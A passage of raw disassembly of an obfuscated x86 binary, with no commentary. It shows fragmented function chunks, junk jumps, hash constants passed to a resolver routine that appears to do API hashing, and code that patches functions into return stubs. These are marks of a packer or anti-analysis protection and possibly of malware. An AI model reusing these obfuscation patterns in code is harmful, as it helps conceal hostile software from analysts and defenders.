nullsub_358 jmp loc_4398C5 ; --------------------------------------------------------------------------- loc_43C76A: ; DATA XREF: sub_4432B8+322Eo mov edx, 0A2CD59D9h call sub_449739 mov ds:dword_44659C, eax retn ; --------------------------------------------------------------------------- loc_43C77A: ; CODE XREF: y22d6.y.:0043DFC2j jmp loc_44A24B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43C77F: ; CODE XREF: sub_4432B8:loc_43DE25j mov edx, 0A22F8A70h call sub_449739 mov ds:dword_446DBC, eax call sub_43760A jmp loc_44C77E ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43923C loc_43C798: ; CODE XREF: sub_43923C:loc_44196Cj xchg esi, [esp+0] call sub_44CDB7 mov eax, 9E471775h call sub_443CB9 loc_43C7AA: ; CODE XREF: sub_43E037+CA92j jmp nullsub_299 ; END OF FUNCTION CHUNK FOR sub_43923C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_43C7AF: ; CODE XREF: sub_44B1D2-4334j jmp loc_43A2B0 ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- mov ebx, [esi] jmp loc_439794 ; --------------------------------------------------------------------------- loc_43C7BB: ; CODE XREF: y22d6.y.:00448610j ja loc_447351 ; =============== S U B R O U T I N E ======================================= sub_43C7C1 proc near ; CODE XREF: sub_43BCA9+D12Bp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00437222 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00438706 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00438F25 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043A507 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043E26D SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0043EE7D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0043F081 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004401F0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00443AAD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00443D1D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0044456C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004495C8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00449837 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00449B9B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044BD3C SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0044C374 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0044D1B3 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi push edx call sub_4463CE loc_43C7CB: ; CODE XREF: sub_44BBBA:loc_43E05Aj mov eax, 0D53D974Bh call sub_43CA1A push ecx jmp loc_449B9B sub_43C7C1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_43C7DB: ; CODE XREF: y22d6.y.:0043D33Aj jz loc_4490C3 ; START OF FUNCTION CHUNK FOR sub_440395 loc_43C7E1: ; CODE XREF: sub_440395+5F07j jmp loc_447505 ; END OF FUNCTION CHUNK FOR sub_440395 ; --------------------------------------------------------------------------- xchg edx, [ebp+0] pop esi ; START OF FUNCTION CHUNK FOR sub_439051 loc_43C7EA: ; CODE XREF: sub_439051:loc_4398CAj cmp eax, 0CD93DA0Eh jmp loc_44565D ; END OF FUNCTION CHUNK FOR sub_439051 ; --------------------------------------------------------------------------- db 3Bh, 3Ch, 2Ch dword_43C7F8 dd 0 ; DATA XREF: sub_440B13+9w align 10h dword_43C800 dd 41E000h, 12h, 4Ch, 58h, 164h, 1, 8, 5, 18h, 8, 24h ; DATA XREF: sub_44D6D0:loc_438C16o ; sub_448EB6:loc_44D881o dd 1, 8, 9, 28h, 3, 10h, 18h, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444541 loc_43C850: ; CODE XREF: sub_444541+3157j jmp loc_43C1CC ; END OF FUNCTION CHUNK FOR sub_444541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E51C loc_43C855: ; CODE XREF: sub_44E51C-B7A4j jmp loc_44B9D8 ; END OF FUNCTION CHUNK FOR sub_44E51C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43734D loc_43C85A: ; CODE XREF: sub_43734D+1j jmp loc_441309 ; END OF FUNCTION CHUNK FOR sub_43734D ; --------------------------------------------------------------------------- db 56h dword_43C860 dd 1070000h, 471051C1h, 0FFFF8010h, 0Bh, 0FFFF8010h, 1Fh ; DATA XREF: sub_44D6D0-14AB2o ; sub_448EB6+49D3o dd 0FFFF8010h, 18h, 0FFFF8010h, 29h, 0FFFF8010h, 4Bh, 0FFFF801Fh dd 0Bh, 0FFFF801Fh, 9, 0FFFF801Fh, 10h, 0FFFF801Fh, 17h dd 0FFFF801Fh, 3, 0FFFF801Fh, 13h, 0FFFF801Fh, 65h, 0FFFF801Fh dd 2, 0FFFF801Fh, 5, 0FFFF801Fh, 4, 0FFFF801Fh, 73h, 0FFFF801Fh dd 14h, 0FFFF801Fh, 15h, 0FFFF801Fh, 0Fh, 0FFFF801Fh, 12h dd 0FFFF801Fh, 11h, 0FFFF801Fh, 0Ch, 0FFFF801Fh, 0Ah, 0FFFF801Fh dd 6, 0FFFF801Fh, 1, 0FFFF801Fh, 34h, 0FFFF801Fh, 0Dh dd 0FFFF801Fh, 33h, 0FFFF801Fh, 74h, 9E002Eh, 801D01A0h dd 97002Eh, 609D577Dh, 96002Eh, 0B24C760Ah, 6003Eh, 2092F37Fh dd 15A004Ah, 367F2FA3h, 1D3004Ah, 6CA849Bh, 145004Ah, 0FD491B5Dh dd 146004Ah, 0E101C01Dh, 1D7004Ah, 14A0F3C1h, 17A004Ah dd 35321B74h, 17C004Ah, 0AB1E8803h, 1E9004Ah, 55F566C1h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CDA6 loc_43C9B0: ; CODE XREF: sub_43CDA6+2D5Dj jmp sub_4480DE ; END OF FUNCTION CHUNK FOR sub_43CDA6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C39B loc_43C9B5: ; CODE XREF: sub_43C39B+7j jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_43C39B ; --------------------------------------------------------------------------- dw 75C7h dword_43C9BC dd 773D0000h, 268A4853h, 0C5466662h, 638DC8h, 1F7B0000h ; DATA XREF: sub_44D6D0-14AAAo ; sub_448EB6:loc_4398F5o dd 0D048224Fh, 19C5C833h, 0B16Ch, 5771AB00h, 0CC7D6435h dd 63645C32h, 0D8h, 94577620h, 45C952E4h, 1BC871A2h, 8Dh dd 0A04D71B2h, 3632714Ah, 1Bh, 285277CCh, 0D0512934h, 8DB1912Eh db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CFF2 loc_43CA15: ; CODE XREF: sub_43CFF2+7678j jmp loc_43C0AC ; END OF FUNCTION CHUNK FOR sub_43CFF2 ; =============== S U B R O U T I N E ======================================= sub_43CA1A proc near ; CODE XREF: y22d6.y.:loc_43712Fp ; sub_44921D-11FCAp ... ; FUNCTION CHUNK AT 0043EB70 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043F8A4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00441FFF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00449433 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0044AB11 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0044BD7A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D0F8 SIZE 0000001A BYTES call sub_44243B loc_43CA1F: ; CODE XREF: sub_43B7D4:loc_44D49Aj pop edi rol edi, 18h xor edi, 5B2E4DA3h add edi, ebp loc_43CA2B: ; CODE XREF: sub_438B66+2037j add edi, 8ED61360h mov [edi], eax pop edi jmp loc_44D0F8 sub_43CA1A endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_43CA39: ; CODE XREF: y22d6.y.:loc_44BB55j add ecx, 705F429h xchg ecx, [esp] jmp sub_43CA1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EC1C loc_43CA47: ; CODE XREF: sub_43EC1C+9548j jnz loc_448DE8 jmp loc_44787C ; END OF FUNCTION CHUNK FOR sub_43EC1C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4030E2 loc_43CA52: ; CODE XREF: sub_4030E2:loc_44C47Cj jmp ds:off_41E210 ; END OF FUNCTION CHUNK FOR sub_4030E2 ; --------------------------------------------------------------------------- loc_43CA58: ; CODE XREF: y22d6.y.:0044A81Fj jmp loc_445D3F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_43CA5D: ; CODE XREF: sub_44271A-A842j jmp nullsub_96 ; END OF FUNCTION CHUNK FOR sub_44271A ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_43CA62 proc near ; CODE XREF: sub_43F0F0+Dj ; sub_4030E2:loc_44518Ap ... ; FUNCTION CHUNK AT 00441F82 SIZE 00000005 BYTES push offset loc_443F76 jmp loc_441F82 sub_43CA62 endp ; --------------------------------------------------------------------------- loc_43CA6C: ; CODE XREF: y22d6.y.:0044DC10j pop ecx ; START OF FUNCTION CHUNK FOR sub_438077 loc_43CA6D: ; CODE XREF: sub_438077:loc_44DBF7j push offset sub_4414C4 jmp loc_440076 ; END OF FUNCTION CHUNK FOR sub_438077 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_320. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43CA78: ; CODE XREF: y22d6.y.:00439697j xor eax, ecx adc ebp, ecx loc_43CA7C: ; CODE XREF: y22d6.y.:loc_43967Ej ; y22d6.y.:0043F975j xor eax, 0E3444870h add eax, ebp push esi jmp loc_44CB22 ; --------------------------------------------------------------------------- loc_43CA8A: ; DATA XREF: sub_44AA69:loc_44AE6Fo xchg esi, [esp] push 0A8C6C633h pop edx rol edx, 18h xor edx, ds:4000E8h and edx, 9ACA5074h or edx, 653284DFh loc_43CAA8: ; CODE XREF: y22d6.y.:loc_439CAFj ; y22d6.y.:loc_443AE7j xor edx, 80D3B00h jmp loc_446271 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_339. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43CAB4: ; CODE XREF: y22d6.y.:00442916j jmp locret_43D57B ; --------------------------------------------------------------------------- loc_43CAB9: ; CODE XREF: y22d6.y.:0043784Ej jmp loc_44D810 ; --------------------------------------------------------------------------- loc_43CABE: ; DATA XREF: y22d6.y.:loc_44CC4Do mov eax, [esp] push edx call sub_438F17 mov eax, 32FE4135h jmp loc_440296 ; --------------------------------------------------------------------------- loc_43CAD1: ; CODE XREF: y22d6.y.:loc_4474E0j test eax, 0A3205F2Ch jmp loc_44BAB3 ; --------------------------------------------------------------------------- loc_43CADC: ; DATA XREF: sub_44243B-9AB8o pop esi call sub_4445FD ; START OF FUNCTION CHUNK FOR sub_4410E0 loc_43CAE2: ; CODE XREF: sub_4410E0+13j jmp loc_43D7DA ; END OF FUNCTION CHUNK FOR sub_4410E0 ; --------------------------------------------------------------------------- pop ecx jmp sub_44D534 ; --------------------------------------------------------------------------- adc edx, 58EBB9D7h jmp sub_43F750 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B43 loc_43CAF8: ; CODE XREF: sub_437B43+76BAj ; sub_437B43:loc_44870Aj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_44ABDA jmp loc_44AA58 ; END OF FUNCTION CHUNK FOR sub_437B43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447C6F loc_43CB09: ; CODE XREF: sub_447C6F+11j rol esi, 0Dh cmp esi, 0DC893B8Ah jmp loc_44D715 ; END OF FUNCTION CHUNK FOR sub_447C6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43CB17: ; CODE XREF: sub_448EB6:loc_442D5Bj mov edx, eax push offset sub_447C6F jmp nullsub_224 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44CEB8 loc_43CB23: ; CODE XREF: sub_44CEB8+Bj and edi, 79B9C0B7h add edi, 0F70AAC34h xchg edi, [esp+0] jmp sub_442592 ; END OF FUNCTION CHUNK FOR sub_44CEB8 ; --------------------------------------------------------------------------- ror edi, 1Fh jmp loc_44793E ; =============== S U B R O U T I N E ======================================= sub_43CB3F proc near ; CODE XREF: sub_43C712+Ap ; y22d6.y.:0044D7B8j xchg eax, [esp+0] pop eax pop ecx xor eax, eax jmp nullsub_27 sub_43CB3F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E5C2 loc_43CB4B: ; CODE XREF: sub_43E5C2+C140j add eax, 78D42C3Fh push esi pushf push 8C37B8Fh pop esi xor esi, 0B7DD43B6h cmp esi, 18FDB03Ah jmp loc_44DC3B ; END OF FUNCTION CHUNK FOR sub_43E5C2 ; --------------------------------------------------------------------------- mov ebx, ecx jmp sub_444686 ; --------------------------------------------------------------------------- ja locret_43E154 rol edx, 0Bh jmp sub_448006 ; --------------------------------------------------------------------------- cdq jmp sub_44CAD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EF0B loc_43CB85: ; CODE XREF: sub_43EF0B+3j push edx mov edx, ecx push offset loc_443933 jmp nullsub_35 ; END OF FUNCTION CHUNK FOR sub_43EF0B ; --------------------------------------------------------------------------- loc_43CB92: ; CODE XREF: y22d6.y.:0043B8C7j jns loc_44E36C rol ebx, 0Dh ; =============== S U B R O U T I N E ======================================= sub_43CB9B proc near ; CODE XREF: sub_43A9C6:loc_43E9A1p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00444608 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044983C SIZE 00000005 BYTES xchg edi, [esp+0] pop edi mov eax, [esp-4+arg_0] jmp loc_44983C sub_43CB9B endp ; sp-analysis failed ; --------------------------------------------------------------------------- sbb ecx, eax jmp sub_440C4E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4470B1 loc_43CBAE: ; CODE XREF: sub_4470B1:loc_43F7B8j mov edx, [ebx+edx+80h] or edx, edx jz loc_44A936 ; END OF FUNCTION CHUNK FOR sub_4470B1 ; START OF FUNCTION CHUNK FOR sub_43A041 loc_43CBBD: ; CODE XREF: sub_43A041+252Dj ; y22d6.y.:0044BED3j call sub_43A041 ; END OF FUNCTION CHUNK FOR sub_43A041 ; START OF FUNCTION CHUNK FOR sub_4427BB loc_43CBC2: ; CODE XREF: sub_4427BB+6j jmp nullsub_221 ; END OF FUNCTION CHUNK FOR sub_4427BB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_224. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439932 loc_43CBC8: ; CODE XREF: sub_439932-959j jmp nullsub_304 ; END OF FUNCTION CHUNK FOR sub_439932 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_62. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_43CBCE: ; CODE XREF: sub_44AEDA-C518j jmp loc_440FF5 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43CBD3 proc near ; CODE XREF: sub_43E953+6j ; FUNCTION CHUNK AT 0043751E SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0043AC6E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043DD8C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F7D4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044946A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0044DECE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044E5D6 SIZE 0000000B BYTES push ebp mov ebp, esp push ecx mov esp, ebp pop ebp jmp loc_44946A sub_43CBD3 endp ; --------------------------------------------------------------------------- mov ds:dword_41E154, eax lea eax, nullsub_16 mov byte ptr [eax], 0C3h jmp loc_44B693 ; =============== S U B R O U T I N E ======================================= sub_43CBF3 proc near ; CODE XREF: sub_40F8CA+1Bp ; sub_40F8CA+45p ... var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00438F6E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043AE86 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C21F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D624 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043D74B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DF39 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043E5A0 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0044A728 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0044ACCD SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044C4D2 SIZE 00000016 BYTES push ebx push 5D0AE2EAh pop ebx jmp loc_43D624 sub_43CBF3 endp ; --------------------------------------------------------------------------- loc_43CBFF: ; CODE XREF: y22d6.y.:00449E21j or ebp, esi ; =============== S U B R O U T I N E ======================================= sub_43CC01 proc near ; CODE XREF: y22d6.y.:0043F1BFp xchg eax, [esp+0] pop eax lea eax, sub_44928B call sub_43921B loc_43CC10: ; CODE XREF: y22d6.y.:0044923Fj jmp nullsub_365 sub_43CC01 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447268 loc_43CC15: ; CODE XREF: sub_447268-4E69j jmp sub_43EF0B ; END OF FUNCTION CHUNK FOR sub_447268 ; =============== S U B R O U T I N E ======================================= sub_43CC1A proc near ; CODE XREF: sub_43AD94+F19Fj ; FUNCTION CHUNK AT 0043E285 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043E469 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0043FADA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00443E94 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044809D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044AF9C SIZE 00000005 BYTES add esp, 0FFFFFED0h push edx push 0C098BA55h pop edx or edx, 0A33311FEh jmp loc_43E469 sub_43CC1A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_43CC32: ; CODE XREF: sub_449641:loc_447DA2j add eax, 0C168B6A5h rol eax, 0Ch add eax, 8FC03033h call sub_43CA1A push esi jmp loc_44245A ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442856 loc_43CC4C: ; CODE XREF: sub_442856:loc_44B2A9j jge loc_448681 or edx, 2AB00565h ; END OF FUNCTION CHUNK FOR sub_442856 ; START OF FUNCTION CHUNK FOR sub_43B09B loc_43CC58: ; CODE XREF: sub_43B09B+8F6Fj jmp loc_44991A ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- loc_43CC5D: ; CODE XREF: y22d6.y.:00444769j shr ebx, 15h ; =============== S U B R O U T I N E ======================================= sub_43CC60 proc near ; CODE XREF: sub_4432B8-7036p ; FUNCTION CHUNK AT 0044BA5E SIZE 00000005 BYTES xchg ebx, [esp+0] loc_43CC63: ; CODE XREF: y22d6.y.:0043FF86j pop ebx push esi push offset loc_447F7F jmp loc_44BA5E sub_43CC60 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43CC6F: ; CODE XREF: sub_4432B8+23Dj push edx call sub_44A46F mov eax, 726FC43Ah push offset loc_449A47 jmp loc_43A335 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_443AFF loc_43CC84: ; CODE XREF: sub_443AFF:loc_4470FBj ; y22d6.y.:00449355j xchg eax, [esp+8+var_8] push offset loc_447DC6 jmp nullsub_312 ; END OF FUNCTION CHUNK FOR sub_443AFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FFE2 loc_43CC91: ; CODE XREF: sub_43FFE2:loc_440081j and edx, eax setnz byte ptr [ebp-5] push eax mov eax, esi xchg eax, [esp+0] push 2F954E9Dh jmp loc_4492B6 ; END OF FUNCTION CHUNK FOR sub_43FFE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437901 loc_43CCA7: ; CODE XREF: sub_437901:loc_44C660j and esi, eax xor esi, 0FBB6A284h add eax, edi jmp loc_43D19A ; END OF FUNCTION CHUNK FOR sub_437901 ; =============== S U B R O U T I N E ======================================= sub_43CCB6 proc near ; DATA XREF: y22d6.y.:00448133o ; FUNCTION CHUNK AT 0044C1DD SIZE 00000005 BYTES mov ds:off_41E184, eax lea eax, sub_44C59C mov byte ptr [eax], 0C3h jmp loc_44C1DD sub_43CCB6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C59C loc_43CCCA: ; CODE XREF: sub_44C59C:loc_4473F4j mov eax, [esp+0] jmp loc_43F957 ; END OF FUNCTION CHUNK FOR sub_44C59C ; =============== S U B R O U T I N E ======================================= sub_43CCD2 proc near ; CODE XREF: y22d6.y.:00440C87p ; y22d6.y.:00441135j ; FUNCTION CHUNK AT 0044D38F SIZE 00000008 BYTES xchg eax, [esp+0] pop eax mov ds:off_41E02C, eax lea eax, sub_4464C8 jmp loc_44D38F sub_43CCD2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E5C7 loc_43CCE7: ; CODE XREF: sub_44E5C7-137A8j sub edx, 0E3A08B6h xor edx, 0CD687293h add edx, ebp add edx, 6737142Eh jmp loc_445AF7 ; END OF FUNCTION CHUNK FOR sub_44E5C7 ; --------------------------------------------------------------------------- mov ds:dword_41E0CC, eax lea eax, nullsub_341 call sub_44B629 ; START OF FUNCTION CHUNK FOR sub_444D45 loc_43CD11: ; CODE XREF: sub_444D45+9931j jmp loc_444521 ; END OF FUNCTION CHUNK FOR sub_444D45 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_443778 loc_43CD16: ; CODE XREF: sub_443778+3j jmp loc_43881F ; END OF FUNCTION CHUNK FOR sub_443778 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43CD1B: ; CODE XREF: sub_4432B8:loc_44B2FCj xor ebx, 960A897h or ebx, 3718135Bh add ebx, 8122EE39h mov [ebx], eax pop ebx jmp loc_448991 ; --------------------------------------------------------------------------- loc_43CD35: ; CODE XREF: sub_4432B8+A7CAj and ebp, 1E603732h jmp loc_43BE59 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44CDB7 loc_43CD40: ; CODE XREF: sub_44CDB7:loc_44AADEj sub al, 99h push 9E7A0E09h pop edx loc_43CD48: ; CODE XREF: y22d6.y.:00442384j jmp loc_441D2C ; --------------------------------------------------------------------------- loc_43CD4D: ; CODE XREF: sub_44CDB7:loc_44386Ej jnz loc_44D94E pop edi jmp loc_44D942 ; END OF FUNCTION CHUNK FOR sub_44CDB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43CD59: ; CODE XREF: sub_448EB6:loc_4484B2j sub eax, 24AF43B6h xor eax, 0B54276D0h or eax, 3D80483Fh add eax, 22683D4h add eax, ebp add eax, 804D3129h mov eax, [eax] cmp dword ptr [eax+3Ch], 0 jmp loc_439237 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65F loc_43CD84: ; CODE XREF: sub_43C65F+24ABj jnz loc_44089E jmp loc_444841 ; END OF FUNCTION CHUNK FOR sub_43C65F ; --------------------------------------------------------------------------- xchg edi, [ebx] jmp loc_44E16A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43CD96: ; CODE XREF: sub_448EB6-D4E2j jns loc_44050D mov edi, 6DB59B9Fh jmp loc_449BA5 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; =============== S U B R O U T I N E ======================================= sub_43CDA6 proc near ; CODE XREF: sub_44625B+7p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043C9B0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043FAF1 SIZE 00000017 BYTES xchg eax, [esp+0] pop eax mov eax, [esp-4+arg_0] push ebx push 0CC576D4Bh pop ebx or ebx, 0EFE575E6h loc_43CDBA: ; CODE XREF: y22d6.y.:loc_4392AAj sub ebx, 54D5C0FEh jmp loc_43FAF1 sub_43CDA6 endp ; --------------------------------------------------------------------------- mov eax, 0A5559D12h call sub_43CA1A push ebx mov ebx, edx jmp loc_44B9E3 ; --------------------------------------------------------------------------- loc_43CDD7: ; CODE XREF: y22d6.y.:00445703j jnz loc_44D964 jmp loc_44A7A4 ; --------------------------------------------------------------------------- loc_43CDE2: ; DATA XREF: y22d6.y.:0044E076o xchg eax, [esp] push ebx push 0DA2011C6h pop ebx or ebx, 0E4E65878h jmp loc_440122 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AF5B loc_43CDF7: ; CODE XREF: sub_43AF5B:loc_44CE9Dj add edi, 39C42A0Dh test edi, 10000000h jmp loc_444F5A ; END OF FUNCTION CHUNK FOR sub_43AF5B ; --------------------------------------------------------------------------- test edi, 0C4B96D0Ch jmp loc_4490EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441030 loc_43CE13: ; CODE XREF: sub_441030:loc_440188j ; y22d6.y.:004401A0j xor edx, 0D9E06AACh rol edx, 16h sub edx, 6ED9EDAAh loc_43CE22: ; CODE XREF: y22d6.y.:004478D1j xor edx, 8D3F0BCFh add edx, ebp add edx, 892A4D49h jmp loc_43BCE5 ; END OF FUNCTION CHUNK FOR sub_441030 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43CE35: ; CODE XREF: sub_4432B8+F0j push offset sub_43ED31 jmp nullsub_57 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442E1F loc_43CE3F: ; CODE XREF: sub_442E1F:loc_43B39Cj add dword ptr [ebp-8], 4 jmp loc_44AF7E ; --------------------------------------------------------------------------- loc_43CE48: ; CODE XREF: sub_442E1F-75B2j add dword ptr [ebp-8], 2 jmp loc_44C753 ; END OF FUNCTION CHUNK FOR sub_442E1F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44CB3F loc_43CE51: ; CODE XREF: sub_44CB3F:loc_4371B2j ; y22d6.y.:004471A0j test byte ptr [ebp-8], 20h jz loc_4498EC push ebp jmp loc_43F8ED ; END OF FUNCTION CHUNK FOR sub_44CB3F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A041 loc_43CE61: ; CODE XREF: sub_43A041+DE9j ja loc_43F4A4 popf xor esi, 0CA7F7C64h ; END OF FUNCTION CHUNK FOR sub_43A041 ; START OF FUNCTION CHUNK FOR sub_44B17B loc_43CE6E: ; CODE XREF: sub_44B17B:loc_447130j rol ebx, 7 jmp loc_43A554 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- mov ecx, 5F5D5CAh jmp loc_44B3F2 ; --------------------------------------------------------------------------- loc_43CE80: ; CODE XREF: y22d6.y.:loc_43B5D6j ; y22d6.y.:00449DC2j jns loc_441EEF pop ebp jmp loc_441FCC ; --------------------------------------------------------------------------- loc_43CE8C: ; DATA XREF: y22d6.y.:loc_442C72o add edi, 0B3D5AF3Eh sub eax, edi call sub_44949C ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_43CE99: ; CODE XREF: sub_44AEDA-364j jmp loc_43A640 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- loc_43CE9E: ; CODE XREF: y22d6.y.:004376D7j jmp loc_43DA1D ; --------------------------------------------------------------------------- loc_43CEA3: ; CODE XREF: y22d6.y.:loc_447105j ; y22d6.y.:0044712Bj add eax, 8FAD748Eh xor eax, 0F9088951h call sub_43CA1A mov ds:dword_41E174, eax jmp loc_444561 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_445A15 loc_43CEBF: ; CODE XREF: sub_445A15:loc_439B60j and esi, 4280C511h jns loc_43B1A4 loc_43CECB: ; CODE XREF: sub_437890+Cj jmp nullsub_82 ; END OF FUNCTION CHUNK FOR sub_445A15 ; --------------------------------------------------------------------------- rol eax, 0Eh loc_43CED3: ; CODE XREF: y22d6.y.:00438546j jle loc_44490D or esi, edi jmp loc_43B1A4 ; --------------------------------------------------------------------------- loc_43CEE0: ; CODE XREF: y22d6.y.:0043BBD2j mov edx, [ecx] ; =============== S U B R O U T I N E ======================================= sub_43CEE2 proc near ; CODE XREF: sub_4499C1:loc_445C96p ; FUNCTION CHUNK AT 00437ADB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004448EB SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00445CD6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004487DF SIZE 00000005 BYTES ; FUNCTION 